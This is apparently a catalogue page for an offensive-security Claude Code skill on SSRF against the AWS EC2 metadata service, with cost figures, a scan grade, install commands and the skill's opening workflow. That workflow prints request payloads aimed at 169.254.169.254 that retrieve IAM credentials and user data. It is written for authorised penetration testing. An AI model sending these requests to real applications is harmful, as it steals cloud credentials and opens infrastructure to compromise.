aws-metadata-ssrf

aws-metadata-ssrf is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 69 tokens per session (1,090 once invoked), scanned B, a copy of aws-metadata-ssrf, Apache-2.0.

An attack technique that uses a server-side request forgery (SSRF) flaw to query the AWS EC2 Instance Metadata Service, which can expose temporary IAM credentials and startup data. AWS EC2 is Amazon's service for running virtual machines.

In plain words
What is it for?
Use it in an authorised penetration test to test metadata-service exposure, IAM role credentials, and the effect of IMDSv1 or IMDSv2 settings.
Why use it?
It demonstrates how an application request flaw can turn into cloud credential theft and wider infrastructure access.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it in an authorised penetration test to test metadata-service exposure, IAM role credentials, and the effect of IMDSv1 or IMDSv2 settings.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for aws-metadata-ssrf

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for aws-metadata-ssrf

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 69 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,090 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00069 $0.01090
Opus 5 $0.00034 $0.00545
Sonnet 5 $0.00014 $0.00218
Haiku 4.5 $0.00007 $0.00109

Measured 8d ago against content hash 6ae01252025b, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade B, and why

aws-metadata-ssrf scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, aws-cli]
Origin

This is a copy

100% identical to aws-metadata-ssrf — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/penetration-testing/cloud-security/aws-metadata-ssrf/SKILL.md · 123 lines

How it starts

The opening of the file, as written. The whole thing — 123 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AWS IMDS SSRF Exploitation

When to Use

  • During a penetration test of a web application hosted on AWS EC2 or ECS that exhibits SSRF vulnerabilities.
  • To demonstrate impact by escalating from a web vulnerability to AWS cloud infrastructure compromise via IAM credential theft.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the SSRF

# Concept: Test the target application for SSRF GET /fetch_url?url=http://example.com HTTP/1.1
Host: target.app

Phase 2: Querying AWS IMDSv1

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.app

Phase 3: Extracting IAM Roles and Credentials

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1

# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole HTTP/1.1

(The response will contain a JSON object with AccessKeyId, SecretAccessKey, and Token)

Phase 4: Accessing User Data

# # GET /fetch_url?url=http://169.254.169.254/latest/user-data HTTP/1.1

(User Data often contains sensitive initialization scripts, database passwords, or API keys).

Decision Point 🔀
flowchart TD
    A[Send IMDS Payload ] --> B{Response 200 OK? }
    B -->|Yes| C[Extract Data ]
    B -->|No/401| D[IMDSv2 Enforced? ]
    C --> E[Configure AWS CLI ]

🔵 Blue Team Detection & Defense

  • Migrate to IMDSv2: Network Restrictions: Least Privilege IAM: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Aws Metadata Ssrf — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

Read the full file on GitHub · 123 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 123 lines · 69 tokens per session scan B 6ae01252025b

Subscribe to this mod's changes

aws-metadata-ssrf is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 69 tokens to every session and 1,090 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). It is 100% identical to aws-metadata-ssrf, differing in 0 lines, and is treated as a copy.

Related

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aws-metadata-ssrf

Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS EC2 instances to extract IAM credentials and User Data from the Instance Metadata Service (IMDS). This skill covers techniques for bypassing basic filters to access IMDSv1 and concepts of IMDSv2.

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